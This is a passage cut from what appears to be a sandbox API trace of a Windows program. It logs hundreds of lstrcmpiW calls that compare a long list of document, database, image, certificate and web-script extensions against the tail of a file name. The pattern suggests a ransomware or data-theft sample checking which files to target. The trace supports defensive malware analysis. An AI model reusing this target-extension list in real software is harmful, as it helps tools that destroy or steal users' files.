(lpString1=".accda", lpString2="ll.mui") returned -1 [0094.975] lstrlenW (lpString=".accdb") returned 6 [0094.975] lstrcmpiW (lpString1=".accdb", lpString2="ll.mui") returned -1 [0094.976] lstrlenW (lpString=".accdc") returned 6 [0094.976] lstrcmpiW (lpString1=".accdc", lpString2="ll.mui") returned -1 [0094.976] lstrlenW (lpString=".accde") returned 6 [0094.976] lstrcmpiW (lpString1=".accde", lpString2="ll.mui") returned -1 [0094.976] lstrlenW (lpString=".accdt") returned 6 [0094.976] lstrcmpiW (lpString1=".accdt", lpString2="ll.mui") returned -1 [0094.976] lstrlenW (lpString=".accdw") returned 6 [0094.976] lstrcmpiW (lpString1=".accdw", lpString2="ll.mui") returned -1 [0094.976] lstrlenW (lpString=".adb") returned 4 [0094.976] lstrcmpiW (lpString1=".adb", lpString2=".mui") returned -1 [0094.976] lstrlenW (lpString=".adp") returned 4 [0094.976] lstrcmpiW (lpString1=".adp", lpString2=".mui") returned -1 [0094.976] lstrlenW (lpString=".ai") returned 3 [0094.976] lstrcmpiW (lpString1=".ai", lpString2="mui") returned -1 [0094.976] lstrlenW (lpString=".ai3") returned 4 [0094.976] lstrcmpiW (lpString1=".ai3", lpString2=".mui") returned -1 [0094.976] lstrlenW (lpString=".ai4") returned 4 [0094.976] lstrcmpiW (lpString1=".ai4", lpString2=".mui") returned -1 [0094.976] lstrlenW (lpString=".ai5") returned 4 [0094.976] lstrcmpiW (lpString1=".ai5", lpString2=".mui") returned -1 [0094.976] lstrlenW (lpString=".ai6") returned 4 [0094.976] lstrcmpiW (lpString1=".ai6", lpString2=".mui") returned -1 [0094.976] lstrlenW (lpString=".ai7") returned 4 [0094.976] lstrcmpiW (lpString1=".ai7", lpString2=".mui") returned -1 [0094.976] lstrlenW (lpString=".ai8") returned 4 [0094.976] lstrcmpiW (lpString1=".ai8", lpString2=".mui") returned -1 [0094.976] lstrlenW (lpString=".anim") returned 5 [0094.976] lstrcmpiW (lpString1=".anim", lpString2="l.mui") returned -1 [0094.976] lstrlenW (lpString=".arw") returned 4 [0094.976] lstrcmpiW (lpString1=".arw", lpString2=".mui") returned -1 [0094.976] lstrlenW (lpString=".as") returned 3 [0094.976] lstrcmpiW (lpString1=".as", lpString2="mui") returned -1 [0094.976] lstrlenW (lpString=".asa") returned 4 [0094.977] lstrcmpiW (lpString1=".asa", lpString2=".mui") returned -1 [0094.977] lstrlenW (lpString=".asc") returned 4 [0094.977] lstrcmpiW (lpString1=".asc", lpString2=".mui") returned -1 [0094.977] lstrlenW (lpString=".ascx") returned 5 [0094.977] lstrcmpiW (lpString1=".ascx", lpString2="l.mui") returned -1 [0094.977] lstrlenW (lpString=".asm") returned 4 [0094.977] lstrcmpiW (lpString1=".asm", lpString2=".mui") returned -1 [0094.977] lstrlenW (lpString=".asmx") returned 5 [0094.977] lstrcmpiW (lpString1=".asmx", lpString2="l.mui") returned -1 [0094.977] lstrlenW (lpString=".asp") returned 4 [0094.977] lstrcmpiW (lpString1=".asp", lpString2=".mui") returned -1 [0094.977] lstrlenW (lpString=".aspx") returned 5 [0094.977] lstrcmpiW (lpString1=".aspx", lpString2="l.mui") returned -1 [0094.977] lstrlenW (lpString=".asr") returned 4 [0094.977] lstrcmpiW (lpString1=".asr", lpString2=".mui") returned -1 [0094.977] lstrlenW (lpString=".asx") returned 4 [0094.977] lstrcmpiW (lpString1=".asx", lpString2=".mui") returned -1 [0094.977] lstrlenW (lpString=".avi") returned 4 [0094.977] lstrcmpiW (lpString1=".avi", lpString2=".mui") returned -1 [0094.977] lstrlenW (lpString=".avs") returned 4 [0094.977] lstrcmpiW (lpString1=".avs", lpString2=".mui") returned -1 [0094.977] lstrlenW (lpString=".backup") returned 7 [0094.977] lstrcmpiW (lpString1=".backup", lpString2="dll.mui") returned -1 [0094.977] lstrlenW (lpString=".bak") returned 4 [0094.977] lstrcmpiW (lpString1=".bak", lpString2=".mui") returned -1 [0094.977] lstrlenW (lpString=".bay") returned 4 [0094.977] lstrcmpiW (lpString1=".bay", lpString2=".mui") returned -1 [0094.977] lstrlenW (lpString=".bd") returned 3 [0094.977] lstrcmpiW (lpString1=".bd", lpString2="mui") returned -1 [0094.977] lstrlenW (lpString=".bin") returned 4 [0094.977] lstrcmpiW (lpString1=".bin", lpString2=".mui") returned -1 [0094.977] lstrlenW (lpString=".bmp") returned 4 [0094.977] lstrcmpiW (lpString1=".bmp", lpString2=".mui") returned -1 [0094.978] lstrlenW (lpString=".bz2") returned 4 [0094.978] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0094.978] lstrlenW (lpString=".c") returned 2 [0094.978] lstrcmpiW (lpString1=".c", lpString2="ui") returned -1 [0094.978] lstrlenW (lpString=".cdr") returned 4 [0094.978] lstrcmpiW (lpString1=".cdr", lpString2=".mui") returned -1 [0094.978] lstrlenW (lpString=".cer") returned 4 [0094.978] lstrcmpiW (lpString1=".cer", lpString2=".mui") returned -1 [0094.978] lstrlenW (lpString=".cf") returned 3 [0094.978] lstrcmpiW (lpString1=".cf", lpString2="mui") returned -1 [0094.978] lstrlenW (lpString=".cfc") returned 4 [0094.978] lstrcmpiW (lpString1=".cfc", lpString2=".mui") returned -1 [0094.978] lstrlenW (lpString=".cfm") returned 4 [0094.978] lstrcmpiW (lpString1=".cfm", lpString2=".mui") returned -1 [0094.978] lstrlenW (lpString=".cfml") returned 5 [0094.978] lstrcmpiW (lpString1=".cfml", lpString2="l.mui") returned -1 [0094.978] lstrlenW (lpString=".cfu") returned 4 [0094.978] lstrcmpiW (lpString1=".cfu", lpString2=".mui") returned -1 [0094.978] lstrlenW (lpString=".chm") returned 4 [0094.978] lstrcmpiW (lpString1=".chm", lpString2=".mui") returned -1 [0094.978] lstrlenW (lpString=".cin") returned 4 [0094.978] lstrcmpiW (lpString1=".cin", lpString2=".mui") returned -1 [0094.978] lstrlenW (lpString=".class") returned 6 [0094.978] lstrcmpiW (lpString1=".class", lpString2="ll.mui") returned -1 [0094.978] lstrlenW (lpString=".clx") returned 4 [0094.978] lstrcmpiW (lpString1=".clx", lpString2=".mui") returned -1 [0094.978] lstrlenW (lpString=".config") returned 7 [0094.978] lstrcmpiW (lpString1=".config", lpString2="dll.mui") returned -1 [0094.978] lstrlenW (lpString=".cpp") returned 4 [0094.978] lstrcmpiW (lpString1=".cpp", lpString2=".mui") returned -1 [0094.978] lstrlenW (lpString=".cr2") returned 4 [0094.978] lstrcmpiW (lpString1=".cr2", lpString2=".mui") returned -1 [0094.979] lstrlenW (lpString=".crt") returned 4 [0094.979] lstrcmpiW (lpString1=".crt", lpString2=".mui") returned -1 [0094.979] lstrlenW (lpString=".crw") returned 4 [0094.979] lstrcmpiW (lpString1=".crw", lpString2=".mui") returned -1 [0094.979] lstrlenW (lpString=".cs") returned 3 [0094.979] lstrcmpiW (lpString1=".cs", lpString2="mui") returned -1 [0094.979] lstrlenW (lpString=".css") returned 4 [0094.979] lstrcmpiW (lpString1=".css", lpString2=".mui") returned -1 [0094.979] lstrlenW (lpString=".csv") returned 4 [0094.979] lstrcmpiW (lpString1=".csv", lpString2=".mui") returned -1 [0094.979] lstrlenW (lpString=".cub") returned 4 [0094.979] lstrcmpiW (lpString1=".cub", lpString2=".mui") returned -1 [0094.979] lstrlenW (lpString=".dae") returned 4 [0094.979] lstrcmpiW (lpString1=".dae", lpString2=".mui") returned -1 [0094.979] lstrlenW (lpString=".dat") returned 4 [0094.979] lstrcmpiW (lpString1=".dat", lpString2=".mui") returned -1 [0094.979] lstrlenW (lpString=".db") returned 3 [0094.979] lstrcmpiW (lpString1=".db", lpString2="mui") returned -1 [0094.979] lstrlenW (lpString=".dbf") returned 4 [0094.979] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0094.979] lstrlenW (lpString=".dbx") returned 4 [0094.979] lstrcmpiW (lpString1=".dbx", lpString2=".mui") returned -1 [0094.979] lstrlenW (lpString=".dc3") returned 4 [0094.979] lstrcmpiW (lpString1=".dc3", lpString2=".mui") returned -1 [0094.979] lstrlenW (lpString=".dcm") returned 4 [0094.979] lstrcmpiW (lpString1=".dcm", lpString2=".mui") returned -1 [0094.979] lstrlenW (lpString=".dcr") returned 4 [0094.979] lstrcmpiW (lpString1=".dcr", lpString2=".mui") returned -1 [0094.979] lstrlenW (lpString=".der") returned 4 [0094.979] lstrcmpiW (lpString1=".der", lpString2=".mui") returned -1 [0094.979] lstrlenW (lpString=".dib") returned 4 [0094.979] lstrcmpiW (lpString1=".dib", lpString2=".mui") returned -1 [0094.979] lstrlenW (lpString=".dic") returned 4 [0094.980] lstrcmpiW (lpString1=".dic", lpString2=".mui") returned -1 [0094.980] lstrlenW (lpString=".dif") returned 4 [0094.980] lstrcmpiW (lpString1=".dif", lpString2=".mui") returned -1 [0094.980] lstrlenW (lpString=".divx") returned 5 [0094.980] lstrcmpiW (lpString1=".divx", lpString2="l.mui") returned -1 [0094.980] lstrlenW (lpString=".djvu") returned 5 [0094.980] lstrcmpiW (lpString1=".djvu", lpString2="l.mui") returned -1 [0094.980] lstrlenW (lpString=".dng") returned 4 [0094.980] lstrcmpiW (lpString1=".dng", lpString2=".mui") returned -1 [0094.980] lstrlenW (lpString=".doc") returned 4 [0094.980] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0094.980] lstrlenW (lpString=".docm") returned 5 [0094.980] lstrcmpiW (lpString1=".docm", lpString2="l.mui") returned -1 [0094.980] lstrlenW (lpString=".docx") returned 5 [0094.980] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0094.980] lstrlenW (lpString=".dot") returned 4 [0094.980] lstrcmpiW (lpString1=".dot", lpString2=".mui") returned -1 [0094.980] lstrlenW (lpString=".dotm") returned 5 [0094.980] lstrcmpiW (lpString1=".dotm", lpString2="l.mui") returned -1 [0094.980] lstrlenW (lpString=".dotx") returned 5 [0094.980] lstrcmpiW (lpString1=".dotx", lpString2="l.mui") returned -1 [0094.980] lstrlenW (lpString=".dpx") returned 4 [0094.980] lstrcmpiW (lpString1=".dpx", lpString2=".mui") returned -1 [0094.980] lstrlenW (lpString=".dqy") returned 4 [0094.980] lstrcmpiW (lpString1=".dqy", lpString2=".mui") returned -1 [0094.980] lstrlenW (lpString=".dsn") returned 4 [0094.980] lstrcmpiW (lpString1=".dsn", lpString2=".mui") returned -1 [0094.980] lstrlenW (lpString=".dt") returned 3 [0094.980] lstrcmpiW (lpString1=".dt", lpString2="mui") returned -1 [0094.980] lstrlenW (lpString=".dtd") returned 4 [0094.980] lstrcmpiW (lpString1=".dtd", lpString2=".mui") returned -1 [0094.982] lstrlenW (lpString=".dwg") returned 4 [0094.982] lstrcmpiW (lpString1=".dwg", lpString2=".mui") returned -1 [0094.982] lstrlenW (lpString=".dwt") returned 4 [0094.982] lstrcmpiW (lpString1=".dwt", lpString2=".mui") returned -1 [0094.982] lstrlenW (lpString=".dx") returned 3 [0094.982] lstrcmpiW (lpString1=".dx", lpString2="mui") returned -1 [0094.982] lstrlenW (lpString=".dxf") returned 4 [0094.982] lstrcmpiW (lpString1=".dxf", lpString2=".mui") returned -1 [0094.982] lstrlenW (lpString=".edml") returned 5 [0094.982] lstrcmpiW (lpString1=".edml", lpString2="l.mui") returned -1 [0094.982] lstrlenW (lpString=".efd") returned 4 [0094.982] lstrcmpiW (lpString1=".efd", lpString2=".mui") returned -1 [0094.982] lstrlenW (lpString=".elf") returned 4 [0094.982] lstrcmpiW (lpString1=".elf", lpString2=".mui") returned -1 [0094.982] lstrlenW (lpString=".emf") returned 4 [0094.982] lstrcmpiW (lpString1=".emf", lpString2=".mui") returned -1 [0094.982] lstrlenW (lpString=".emz") returned 4 [0094.982] lstrcmpiW (lpString1=".emz", lpString2=".mui") returned -1 [0094.982] lstrlenW (lpString=".epf") returned 4 [0094.982] lstrcmpiW (lpString1=".epf", lpString2=".mui") returned -1 [0094.982] lstrlenW (lpString=".eps") returned 4 [0094.982] lstrcmpiW (lpString1=".eps", lpString2=".mui") returned -1 [0094.982] lstrlenW (lpString=".epsf") returned 5 [0094.983] lstrcmpiW (lpString1=".epsf", lpString2="l.mui") returned -1 [0094.983] lstrlenW (lpString=".epsp") returned 5 [0094.983] lstrcmpiW (lpString1=".epsp", lpString2="l.mui") returned -1 [0094.983] lstrlenW (lpString=".erf") returned 4 [0094.983] lstrcmpiW (lpString1=".erf", lpString2=".mui") returned -1 [0094.983] lstrlenW (lpString=".exr") returned 4 [0094.983] lstrcmpiW (lpString1=".exr", lpString2=".mui") returned -1 [0094.983] lstrlenW (lpString=".f4v") returned 4 [0094.983] lstrcmpiW (lpString1=".f4v", lpString2=".mui") returned -1 [0094.983] lstrlenW (lpString=".fido") returned 5 [0094.983] lstrcmpiW (lpString1=".fido", lpString2="l.mui") returned -1 [0094.983] lstrlenW (lpString=".flm") returned 4 [0094.983] lstrcmpiW (lpString1=".flm", lpString2=".mui") returned -1 [0094.983] lstrlenW (lpString=".flv") returned 4 [0094.983] lstrcmpiW (lpString1=".flv", lpString2=".mui") returned -1 [0094.983] lstrlenW (lpString=".frm") returned 4 [0094.983] lstrcmpiW (lpString1=".frm", lpString2=".mui") returned -1 [0094.983] lstrlenW (lpString=".fxg") returned 4 [0094.983] lstrcmpiW (lpString1=".fxg", lpString2=".mui") returned -1 [0094.983] lstrlenW (lpString=".geo") returned 4 [0094.983] lstrcmpiW (lpString1=".geo", lpString2=".mui") returned -1 [0094.983] lstrlenW (lpString=".gif") returned 4 [0094.983] lstrcmpiW (lpString1=".gif", lpString2=".mui") returned -1 [0094.983] lstrlenW (lpString=".grs") returned 4 [0094.983] lstrcmpiW (lpString1=".grs", lpString2=".mui") returned -1 [0094.983] lstrlenW (lpString=".gz") returned 3 [0094.983] lstrcmpiW (lpString1=".gz", lpString2="mui") returned -1 [0094.983] lstrlenW (lpString=".h") returned 2 [0094.983] lstrcmpiW (lpString1=".h", lpString2="ui") returned -1 [0094.983] lstrlenW (lpString=".hdr") returned 4 [0094.983] lstrcmpiW (lpString1=".hdr", lpString2=".mui") returned -1 [0094.983] lstrlenW (lpString=".hpp") returned 4 [0094.983] lstrcmpiW (lpString1=".hpp", lpString2=".mui") returned -1 [0094.984] lstrlenW (lpString=".hta") returned 4 [0094.984] lstrcmpiW (lpString1=".hta", lpString2=".mui") returned -1 [0094.984] lstrlenW (lpString=".htc") returned 4 [0094.984] lstrcmpiW (lpString1=".htc", lpString2=".mui") returned -1 [0094.984] lstrlenW (lpString=".htm") returned 4 [0094.984] lstrcmpiW (lpString1=".htm", lpString2=".mui") returned -1 [0094.984] lstrlenW (lpString=".html") returned 5 [0094.984] lstrcmpiW (lpString1=".html", lpString2="l.mui") returned -1 [0094.984] lstrlenW (lpString=".icb") returned 4 [0094.984] lstrcmpiW (lpString1=".icb", lpString2=".mui") returned -1 [0094.984] lstrlenW (lpString=".ics") returned 4 [0094.984] lstrcmpiW (lpString1=".ics", lpString2=".mui") returned -1 [0094.984] lstrlenW (lpString=".iff") returned 4 [0094.984] lstrcmpiW (lpString1=".iff", lpString2=".mui") returned -1 [0094.984] lstrlenW (lpString=".inc") returned 4 [0094.984] lstrcmpiW (lpString1=".inc", lpString2=".mui") returned -1 [0094.984] lstrlenW (lpString=".indd") returned 5 [0094.984] lstrcmpiW (lpString1=".indd", lpString2="l.mui") returned -1 [0094.984] lstrlenW (lpString=".ini") returned 4 [0094.984] lstrcmpiW (lpString1=".ini", lpString2=".mui") returned -1 [0094.984] lstrlenW (lpString=".iqy") returned 4 [0094.984] lstrcmpiW (lpString1=".iqy", lpString2=".mui") returned -1 [0094.984] lstrlenW (lpString=".j2c") returned 4 [0094.984] lstrcmpiW (lpString1=".j2c", lpString2=".mui") returned -1 [0094.984] lstrlenW (lpString=".j2k") returned 4 [0094.984] lstrcmpiW (lpString1=".j2k", lpString2=".mui") returned -1 [0094.984] lstrlenW (lpString=".java") returned 5 [0094.984] lstrcmpiW (lpString1=".java", lpString2="l.mui") returned -1 [0094.984] lstrlenW (lpString=".jp2") returned 4 [0094.984] lstrcmpiW (lpString1=".jp2", lpString2=".mui") returned -1 [0094.984] lstrlenW (lpString=".jpc") returned 4 [0094.984] lstrcmpiW (lpString1=".jpc", lpString2=".mui") returned -1 [0094.984] lstrlenW (lpString=".jpe") returned 4 [0094.985] lstrcmpiW (lpString1=".jpe", lpString2=".mui") returned -1 [0094.985] lstrlenW (lpString=".jpeg") returned 5 [0094.985] lstrcmpiW (lpString1=".jpeg", lpString2="l.mui") returned -1 [0094.985] lstrlenW (lpString=".jpf") returned 4 [0094.985] lstrcmpiW (lpString1=".jpf", lpString2=".mui") returned -1 [0094.985] lstrlenW (lpString=".jpg") returned 4 [0094.985] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0094.985] lstrlenW (lpString=".jpx") returned 4 [0094.985] lstrcmpiW (lpString1=".jpx", lpString2=".mui") returned -1 [0094.985] lstrlenW (lpString=".js") returned 3 [0094.985] lstrcmpiW (lpString1=".js", lpString2="mui") returned -1 [0094.985] lstrlenW (lpString=".jsf") returned 4 [0094.985] lstrcmpiW (lpString1=".jsf", lpString2=".mui") returned -1 [0094.985] lstrlenW (lpString=".json") returned 5 [0094.985] lstrcmpiW (lpString1=".json", lpString2="l.mui") returned -1 [0094.985] lstrlenW (lpString=".jsp") returned 4 [0094.985] lstrcmpiW (lpString1=".jsp", lpString2=".mui") returned -1 [0094.985] lstrlenW (lpString=".kdc") returned 4 [0094.985] lstrcmpiW (lpString1=".kdc", lpString2=".mui") returned -1 [0094.985] lstrlenW (lpString=".kmz") returned 4 [0094.985] lstrcmpiW (lpString1=".kmz", lpString2=".mui") returned -1 [0094.985] lstrlenW (lpString=".kwm") returned 4 [0094.985] lstrcmpiW (lpString1=".kwm", lpString2=".mui") returned -1 [0094.985] lstrlenW (lpString=".lasso") returned 6 [0094.985] lstrcmpiW (lpString1=".lasso", lpString2="ll.mui") returned -1 [0094.985] lstrlenW (lpString=".lbi") returned 4 [0094.985] lstrcmpiW (lpString1=".lbi", lpString2=".mui") returned -1 [0094.985] lstrlenW (lpString=".lgf") returned 4 [0094.985] lstrcmpiW (lpString1=".lgf", lpString2=".mui") returned -1 [0094.985] lstrlenW (lpString=".lgp") returned 4 [0094.985] lstrcmpiW (lpString1=".lgp", lpString2=".mui") returned -1 [0094.985] lstrlenW (lpString=".log") returned 4 [0094.985] lstrcmpiW (lpString1=".log", lpString2=".mui") returned -1 [0094.986] lstrlenW (lpString=".m1v") returned 4 [0094.986] lstrcmpiW (lpString1=".m1v", lpString2=".mui") returned -1 [0094.986] lstrlenW (lpString=".m4a") returned 4 [0094.986] lstrcmpiW (lpString1=".m4a", lpString2=".mui") returned -1 [0094.986] lstrlenW (lpString=".m4v") returned 4 [0094.986] lstrcmpiW (lpString1=".m4v", lpString2=".mui") returned -1 [0094.986] lstrlenW (lpString=".max") returned 4 [0094.986] lstrcmpiW (lpString1=".max", lpString2=".mui") returned -1 [0094.986] lstrlenW (lpString=".md") returned 3 [0094.986] lstrcmpiW (lpString1=".md", lpString2="mui") returned -1 [0094.986] lstrlenW (lpString=".mda") returned 4 [0094.986] lstrcmpiW (lpString1=".mda", lpString2=".mui") returned -1 [0094.986] lstrlenW (lpString=".mdb") returned 4 [0094.986] lstrcmpiW (lpString1=".mdb", lpString2=".mui") returned -1 [0094.986] lstrlenW (lpString=".mde") returned 4 [0094.986] lstrcmpiW (lpString1=".mde", lpString2=".mui") returned -1 [0094.986] lstrlenW (lpString=".mdf") returned 4 [0094.986] lstrcmpiW (lpString1=".mdf", lpString2=".mui") returned -1 [0094.986] lstrlenW (lpString=".mdw") returned 4 [0094.986] lstrcmpiW (lpString1=".mdw", lpString2=".mui") returned -1 [0094.986] lstrlenW (lpString=".mef") returned 4 [0094.986] lstrcmpiW (lpString1=".mef", lpString2=".mui") returned -1 [0094.986] lstrlenW (lpString=".mft") returned 4 [0094.986] lstrcmpiW (lpString1=".mft", lpString2=".mui") returned -1 [0094.986] lstrlenW (lpString=".mfw") returned 4 [0094.986] lstrcmpiW (lpString1=".mfw", lpString2=".mui") returned -1 [0094.986] lstrlenW (lpString=".mht") returned 4 [0094.986] lstrcmpiW (lpString1=".mht", lpString2=".mui") returned -1 [0094.986] lstrlenW (lpString=".mhtml") returned 6 [0094.986] lstrcmpiW (lpString1=".mhtml", lpString2="ll.mui") returned -1 [0094.986] lstrlenW (lpString=".mka") returned 4 [0094.986] lstrcmpiW (lpString1=".mka", lpString2=".mui") returned -1 [0094.986] lstrlenW (lpString=".mkidx") returned 6 [0094.987] lstrcmpiW (lpString1=".mkidx", lpString2="ll.mui") returned -1 [0094.987] lstrlenW (lpString=".mkv") returned 4 [0094.987] lstrcmpiW (lpString1=".mkv", lpString2=".mui") returned -1 [0094.987] lstrlenW (lpString=".mos") returned 4 [0094.987] lstrcmpiW (lpString1=".mos", lpString2=".mui") returned -1 [0094.987] lstrlenW (lpString=".mov") returned 4 [0094.987] lstrcmpiW (lpString1=".mov", lpString2=".mui") returned -1 [0094.987] lstrlenW (lpString=".mp3") returned 4 [0094.987] lstrcmpiW (lpString1=".mp3", lpString2=".mui") returned -1 [0094.987] lstrlenW (lpString=".mp4") returned 4 [0094.987] lstrcmpiW (lpString1=".mp4", lpString2=".mui") returned -1 [0094.987] lstrlenW (lpString=".mpeg") returned 5 [0094.987] lstrcmpiW (lpString1=".mpeg", lpString2="l.mui") returned -1 [0094.987] lstrlenW (lpString=".mpg") returned 4 [0094.987] lstrcmpiW (lpString1=".mpg", lpString2=".mui") returned -1 [0094.987] lstrlenW (lpString=".mpv") returned 4 [0094.987] lstrcmpiW (lpString1=".mpv", lpString2=".mui") returned -1 [0094.987] lstrlenW (lpString=".mrw") returned 4 [0094.987] lstrcmpiW (lpString1=".mrw", lpString2=".mui") returned -1 [0094.987] lstrlenW (lpString=".msg") returned 4 [0094.987] lstrcmpiW (lpString1=".msg", lpString2=".mui") returned -1 [0094.987] lstrlenW (lpString=".mxl") returned 4 [0094.987] lstrcmpiW (lpString1=".mxl", lpString2=".mui") returned 1 [0094.987] lstrlenW (lpString=".myd") returned 4 [0094.987] lstrcmpiW (lpString1=".myd", lpString2=".mui") returned 1 [0094.987] lstrlenW (lpString=".myi") returned 4 [0094.987] lstrcmpiW (lpString1=".myi", lpString2=".mui") returned 1 [0094.987] lstrlenW (lpString=".nef") returned 4 [0094.987] lstrcmpiW (lpString1=".nef", lpString2=".mui") returned 1 [0094.987] lstrlenW (lpString=".nrw") returned 4 [0094.987] lstrcmpiW (lpString1=".nrw", lpString2=".mui") returned 1 [0094.987] lstrlenW (lpString=".obj") returned 4 [0094.987] lstrcmpiW (lpString1=".obj", lpString2=".mui") returned 1 [0094.987] lstrlenW (lpString=".odb") returned 4 [0094.988] lstrcmpiW (lpString1=".odb", lpString2=".mui") returned 1 [0094.988] lstrlenW (lpString=".odc") returned 4 [0094.988] lstrcmpiW (lpString1=".odc", lpString2=".mui") returned 1 [0094.988] lstrlenW (lpString=".odm") returned 4 [0094.988] lstrcmpiW (lpString1=".odm", lpString2=".mui") returned 1 [0094.988] lstrlenW (lpString=".odp") returned 4 [0094.988] lstrcmpiW (lpString1=".odp", lpString2=".mui") returned 1 [0094.988] lstrlenW (lpString=".ods") returned 4 [0094.988] lstrcmpiW (lpString1=".ods", lpString2=".mui") returned 1 [0094.988] lstrlenW (lpString=".oft") returned 4 [0094.988] lstrcmpiW (lpString1=".oft", lpString2=".mui") returned 1 [0094.988] lstrlenW (lpString=".one") returned 4 [0094.988] lstrcmpiW (lpString1=".one", lpString2=".mui") returned 1 [0094.988] lstrlenW (lpString=".onepkg") returned 7 [0094.988] lstrcmpiW (lpString1=".onepkg", lpString2="dll.mui") returned -1 [0094.988] lstrlenW (lpString=".onetoc2") returned 8 [0094.988] lstrcmpiW (lpString1=".onetoc2", lpString2=".dll.mui") returned 1 [0094.988] lstrlenW (lpString=".opt") returned 4 [0094.988] lstrcmpiW (lpString1=".opt", lpString2=".mui") returned 1 [0094.988] lstrlenW (lpString=".oqy") returned 4 [0094.988] lstrcmpiW (lpString1=".oqy", lpString2=".mui") returned 1 [0094.988] lstrlenW (lpString=".orf") returned 4 [0094.988] lstrcmpiW (lpString1=".orf", lpString2=".mui") returned 1 [0094.988] lstrlenW (lpString=".p12") returned 4 [0094.988] lstrcmpiW (lpString1=".p12", lpString2=".mui") returned 1 [0094.988] lstrlenW (lpString=".p7b") returned 4 [0094.988] lstrcmpiW (lpString1=".p7b", lpString2=".mui") returned 1 [0094.988] lstrlenW (lpString=".p7c") returned 4 [0094.988] lstrcmpiW (lpString1=".p7c", lpString2=".mui") returned 1 [0094.988] lstrlenW (lpString=".pam") returned 4 [0094.988] lstrcmpiW (lpString1=".pam", lpString2=".mui") returned 1 [0094.988] lstrlenW (lpString=".pbm") returned 4 [0094.988] lstrcmpiW (lpString1=".pbm", lpString2=".mui") returned 1 [0094.989] lstrlenW (lpString=".pct") returned 4 [0094.989] lstrcmpiW (lpString1=".pct", lpString2=".mui") returned 1 [0094.989] lstrlenW (lpString=".pcx") returned 4 [0094.989] lstrcmpiW (lpString1=".pcx", lpString2=".mui") returned 1 [0094.989] lstrlenW (lpString=".pdd") returned 4 [0094.989] lstrcmpiW (lpString1=".pdd", lpString2=".mui") returned 1 [0094.989] lstrlenW (lpString=".pdf") returned 4 [0094.989] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0094.989] lstrlenW (lpString=".pdp") returned 4 [0094.989] lstrcmpiW (lpString1=".pdp", lpString2=".mui") returned 1 [0094.989] lstrlenW (lpString=".pef") returned 4 [0094.989] lstrcmpiW (lpString1=".pef", lpString2=".mui") returned 1 [0094.989] lstrlenW (lpString=".pem") returned 4 [0094.989] lstrcmpiW (lpString1=".pem", lpString2=".mui") returned 1 [0094.989] lstrlenW (lpString=".pff") returned 4 [0094.989] lstrcmpiW (lpString1=".pff", lpString2=".mui") returned 1 [0094.989] lstrlenW (lpString=".pfm") returned 4 [0094.989] lstrcmpiW (lpString1=".pfm", lpString2=".mui") returned 1 [0094.989] lstrlenW (lpString=".pfx") returned 4 [0094.989] lstrcmpiW (lpString1=".pfx", lpString2=".mui") returned 1 [0094.989] lstrlenW (lpString=".pgm") returned 4 [0094.989] lstrcmpiW (lpString1=".pgm", lpString2=".mui") returned 1 [0094.989] lstrlenW (lpString=".php") returned 4 [0094.989] lstrcmpiW (lpString1=".php", lpString2=".mui") returned 1 [0094.989] lstrlenW (lpString=".php3") returned 5 [0094.989] lstrcmpiW (lpString1=".php3", lpString2="l.mui") returned -1 [0094.989] lstrlenW (lpString=".php4") returned 5 [0094.989] lstrcmpiW (lpString1=".php4", lpString2="l.mui") returned -1 [0094.989] lstrlenW (lpString=".php5") returned 5 [0094.989] lstrcmpiW (lpString1=".php5", lpString2="l.mui") returned -1 [0094.989] lstrlenW (lpString=".phtml") returned 6 [0094.989] lstrcmpiW (lpString1=".phtml", lpString2="ll.mui") returned -1 [0094.989] lstrlenW (lpString=".pict") returned 5 [0094.990] lstrcmpiW (lpString1=".pict", lpString2="l.mui") returned -1 [0094.990] lstrlenW (lpString=".pl") returned 3 [0094.990] lstrcmpiW (lpString1=".pl", lpString2="mui") returned -1 [0094.990] lstrlenW (lpString=".pls") returned 4 [0094.990] lstrcmpiW (lpString1=".pls", lpString2=".mui") returned 1 [0094.990] lstrlenW (lpString=".pm") returned 3 [0094.990] lstrcmpiW (lpString1=".pm", lpString2="mui") returned -1 [0094.990] lstrlenW (lpString=".png") returned 4 [0094.990] lstrcmpiW (lpString1=".png", lpString2=".mui") returned 1 [0094.990] lstrlenW (lpString=".pnm") returned 4 [0094.990] lstrcmpiW (lpString1=".pnm", lpString2=".mui") returned 1 [0094.990] lstrlenW (lpString=".pot") returned 4 [0094.990] lstrcmpiW (lpString1=".pot", lpString2=".mui") returned 1 [0094.990] lstrlenW (lpString=".potm") returned 5 [0094.990] lstrcmpiW (lpString1=".potm", lpString2="l.mui") returned -1 [0094.990] lstrlenW (lpString=".potx") returned 5 [0094.990] lstrcmpiW (lpString1=".potx", lpString2="l.mui") returned -1 [0094.990] lstrlenW (lpString=".ppa") returned 4 [0094.990] lstrcmpiW (lpString1=".ppa", lpString2=".mui") returned 1 [0094.990] lstrlenW (lpString=".ppam") returned 5 [0094.990] lstrcmpiW (lpString1=".ppam", lpString2="l.mui") returned -1 [0094.990] lstrlenW (lpString=".ppm") returned 4 [0094.990] lstrcmpiW (lpString1=".ppm", lpString2=".mui") returned 1 [0094.990] lstrlenW (lpString=".pps") returned 4 [0094.990] lstrcmpiW (lpString1=".pps", lpString2=".mui") returned 1 [0094.990] lstrlenW (lpString=".ppsm") returned 5 [0094.990] lstrcmpiW (lpString1=".ppsm", lpString2="l.mui") returned -1 [0094.990] lstrlenW (lpString=".ppt") returned 4 [0094.990] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0094.990] lstrlenW (lpString=".pptm") returned 5 [0094.990] lstrcmpiW (lpString1=".pptm", lpString2="l.mui") returned -1 [0094.990] lstrlenW (lpString=".pptx") returned 5 [0094.991] lstrcmpiW (lpString1=".pptx", lpString2="l.mui") returned -1 [0094.991] lstrlenW (lpString=".prn") returned 4 [0094.991] lstrcmpiW (lpString1=".prn", lpString2=".mui") returned 1 [0094.991] lstrlenW (lpString=".ps") returned 3 [0094.991] lstrcmpiW (lpString1=".ps", lpString2="mui") returned -1 [0094.991] lstrlenW (lpString=".psb") returned 4 [0094.991] lstrcmpiW (lpString1=".psb", lpString2=".mui") returned 1 [0094.991] lstrlenW (lpString=".psd") returned 4 [0094.991] lstrcmpiW (lpString1=".psd", lpString2=".mui") returned 1 [0094.991] lstrlenW (lpString=".pst") returned 4 